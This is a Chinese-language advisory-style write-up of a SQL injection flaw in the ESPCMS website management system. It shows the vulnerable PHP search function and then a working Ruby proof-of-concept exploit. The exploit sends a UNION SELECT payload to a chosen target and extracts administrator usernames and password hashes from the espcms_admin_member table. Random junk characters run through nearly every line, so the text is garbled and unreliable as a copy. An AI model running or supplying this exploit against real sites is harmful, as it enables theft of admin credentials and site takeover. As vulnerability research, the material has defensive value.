0×0 漏洞概述0×1 漏洞细节5 \1 h3 X9 r8 G/ l- \
0×2 PoC5 ]+ \, L% Y# D0 f+ ?" b& x' B
) O) e u5 O# m2 P/ M! n/ H* @- \) _* z7 d2 d j0 r
( n( K) c7 \2 y$ N0×0 漏洞概述
4 [4 E& m1 H0 O; E3 A/ @7 Y2 E# O$ J, E1 W, m% l' W& T) s$ H
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。) \2 U1 j+ l9 V$ m1 J# l
其在处理传入的参数时考虑不严谨导致SQL注入发生& A! v' N6 q$ d
6 B: I5 g9 |. ? i; v+ _+ v X6 H" {
6 V( u2 g3 X3 A/ A$ n! w: e0×1 漏洞细节
K! |+ w6 n8 k' c# w
6 f* E+ o$ _* I) ^0 `6 o) i. u" R变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
% w: O3 Q d" V- }: P. k/ _4 c正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。# b& i4 S5 H+ o6 ?# X
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。/ \2 y0 ~ B+ ]& i0 t
" F' Z2 |! e2 J2 R9 }& _在/interface/3gwap_search.php文件的in_result函数中:1 E) a# M, d6 g) ]* Z: h/ x
. |9 X H8 z- `: g& o& W
: w) z3 j1 E; G! L
* b4 U# Y2 }$ y1 t- @
function in_result() {' P) { b! T5 }6 _4 A
... ... ... ... ... ... ... ... ...* m. M! g5 m( e. A; p7 @" E1 R
$urlcode = $_SERVER[ 'QUERY_STRING '];# Y5 W+ U- r+ K0 l4 p& N( a2 `9 \
parse_str(html_entity_decode($urlcode), $output);' ]/ n+ `, X, R1 Y, M6 g
. P2 [; v- V% r; D+ ^' k ... ... ... ... ... ... ... ... ...
" h( N k& @/ y6 ] if (is_array($output['attr' ]) && count($output['attr']) > 0) {3 h8 u) T4 s* _( {
+ X. Q% V4 ^% Q
$db_table = db_prefix . 'model_att';( u9 n3 A. i2 F4 x& X
0 a# G2 m' |% u5 s/ J6 x1 B# ?
foreach ($output['attr' ] as $key => $value) {, h B7 C, s* s5 t) ?8 H) t& C
if ($value) {
% J b, ]( T- U. h) z+ ~' i% P, ?5 \5 W+ s
$key = addslashes($key);" W9 w2 C9 V7 N1 r, e. p% m
$key = $this-> fun->inputcodetrim($key);
* L& L* f' y: A. A \1 w* T $db_att_where = " WHERE isclass=1 AND attrname='$key'";. w3 Q6 u( p5 e# n
$countnum = $this->db_numrows($db_table, $db_att_where);) V; m- g+ B) X3 ?
if ($countnum > 0) {2 N4 { n1 x$ r% m, F8 q: d
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;& z' X. W: o+ @& M
}
! R: ~/ S U5 B+ P) G7 K; a% N2 d }
- x7 C' \% L P5 w# R7 o$ O8 C+ q$ G }
& q6 i- ?5 i- }; v }
$ B1 i& e {6 l2 E' K if (!empty ($keyword) && empty($keyname)) {
! j; d4 ?* | y5 a: i $keyname = 'title';
0 s' p. {7 p* H( { $db_where.= " AND a.title like '%$keyword%'" ;
, {! W( k8 ^( p1 \4 e8 G } elseif (!empty ($keyword) && !empty($keyname)) { O' O) [, f6 E* W9 Q* a
$db_where.= " AND $keyname like '% $keyword%'";
& H" |/ U2 o, J l5 z& l. H5 V }
8 r6 w; H% i2 h $pagemax = 15;0 Z# r: h( N& M" _, h& V% c4 w
2 q6 q0 e, _ v- J4 S
$pagesylte = 1;
* e: h: c; v1 C& Y5 }1 c' L- o- f( n' O' |$ S; x0 C$ o$ `- ?1 p
if ($countnum > 0) {6 p- `8 _4 t i1 g, W" @
# r. K! C: X# C- N8 \+ S
$numpage = ceil($countnum / $pagemax);
2 |: i ^( j. B% W* U0 v, k } else {6 x5 D! E g Q/ Q7 o0 w
$numpage = 1;8 g6 N' d% G, q5 ~- `- z$ `
}3 @! H9 E2 W i1 _% }- E% C
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;6 O$ a1 w' y3 l' G" h; M% R+ r9 {3 ^
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
0 F3 K! z- P$ j' n+ E$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
$ j8 p) @/ y7 R ... ... ... ... ... ... ... ... ...4 }% S( q# L- |
}
, E) @6 q3 p1 G) `- v. [7 T7 G2 H5 W8 X9 ?4 H: {" M' \+ {+ o
6 d+ f: Q2 ` U3 G% l5 w9 k8 ~
0×2 PoC0 m7 S* t, z) J; w0 g. R7 @
. v6 X& |9 }0 ?7 K' Y5 \
7 I' `' _0 s' ^$ D! W& c1 E5 U" a D; H
require "net/http"
# f) P& k! L/ @2 @9 T$ a
. f6 k) e# X& kdef request(method, url)
+ A; P0 F! {9 c4 p+ h/ B% U2 w if method.eql?("get")
. w& [- {" r9 z, o& |; k uri = URI.parse(url)
' O5 c2 ^& q! q& k6 J http = Net::HTTP.new(uri.host, uri.port)
5 N9 Z8 a" U+ v: P0 {/ r% z1 b response = http.request(Net::HTTP::Get.new(uri.request_uri))3 W* y0 B ^6 V5 v d9 f
return response
; A' X' \, C& b5 C2 T9 R3 |0 e end
3 Y1 N' E5 T# t9 {6 f: Rend
n- i" T: ^0 w0 i
7 M- ^. \; h& Pdoc =<<HERE
) a. V& W9 s/ {4 G: V8 s9 c-------------------------------------------------------
! F% [5 u: U6 p6 ^0 S! IEspcms Injection Exploit
# O0 }" z9 I8 zAuthor:ztz5 W; U, q/ ^( ~8 F) G% z" w) {* b
Blog:http://ztz.fuzzexp.org/* D0 `2 a$ n, ^1 f- y; n
-------------------------------------------------------9 z7 L$ A9 h0 l
" m9 A. @9 _% F+ F' M& m5 M+ w N [HERE- X7 e& Z" l) u( F; Z% y9 S
% `; v8 ?; N9 x7 T7 x
usage =<<HERE
+ g$ S, v) S( k P3 J9 S4 RUsage: ruby #{$0} host port path, q- v& s/ B9 ?2 a1 ~3 A' p# g
example: ruby #{$0} www.target.com 80 /. b' A% E6 a5 J+ f( U& H V* l
HERE
+ |% d& X* B/ E7 A3 c1 L, m* d/ o6 H
puts doc6 V! d7 K4 @; F
if ARGV.length < 3: J- H0 }: @3 Q! M4 Y2 }% Y0 g/ y
puts usage
8 |! z2 C; g+ z( X4 t1 R" x Ielse
, i y7 c8 X' q9 N& f4 i0 l $host = ARGV[0]
' X! m1 ]2 x" s: O $port = ARGV[1]
$ u, A o/ r1 T5 I. X $path = ARGV[2]( q3 _4 L u- e* S% J, x
/ {2 d4 z( r) F4 u3 }2 p puts "send request..."- ]! c0 v* U2 ?; C* E9 O& B
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&1 z2 I% C1 J; J
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,133 X' i6 `5 K$ s2 [
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27) Q6 @: v! n" ]7 q8 F* z
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
" z: m R" D! b' K& _7 b2 v; `$ t response = request("get", url)
% [5 V/ A4 b6 l) Z# h0 _7 f0 L: a8 @ result = response.body.scan(/\w+&\w{32}/)
$ n1 n' [; }; p puts result: O: c k" c6 K# n$ D! B
end& ^+ M9 u6 J3 B
% p5 X( z+ F( D7 y& i8 k$ ^ |